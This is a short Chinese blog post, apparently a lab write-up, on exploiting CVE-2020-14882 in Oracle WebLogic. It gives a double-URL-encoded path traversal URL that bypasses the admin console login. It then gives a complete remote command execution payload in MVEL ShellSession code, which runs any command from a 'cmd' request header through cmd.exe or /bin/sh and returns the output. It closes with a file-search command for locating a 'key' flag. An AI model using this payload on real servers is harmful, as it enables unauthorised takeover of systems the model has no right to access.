CVE-2020-14882 weblogic 未授权访问漏洞

（1）权限绕过漏洞（CVE-2020-14882），因为CVE-2020-14882未授权访问漏洞是绕过管理控制台权限访问后台，所以需要存在console控制台，访问：ip:port/console

正常访问console后台会需要输入用户名密码，通过未授权访问，则可以直接绕过后台验证

url：/console/css/%252e%252e%252fconsole.portal

“%252E%252E%252F”为二次url编码的“../”，通过这个就可以实现穿越路径未授权访问相关管理后台

（2）burp抓包，修改信息，可以执行命令

payload：

/console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt();

（4）前面获取key的值，其实是通过 find /* -name 'key'

标签：console,22,14882,20,访问,2020,weblogic,servlet
来源： https://www.cnblogs.com/7omss/p/15629564.html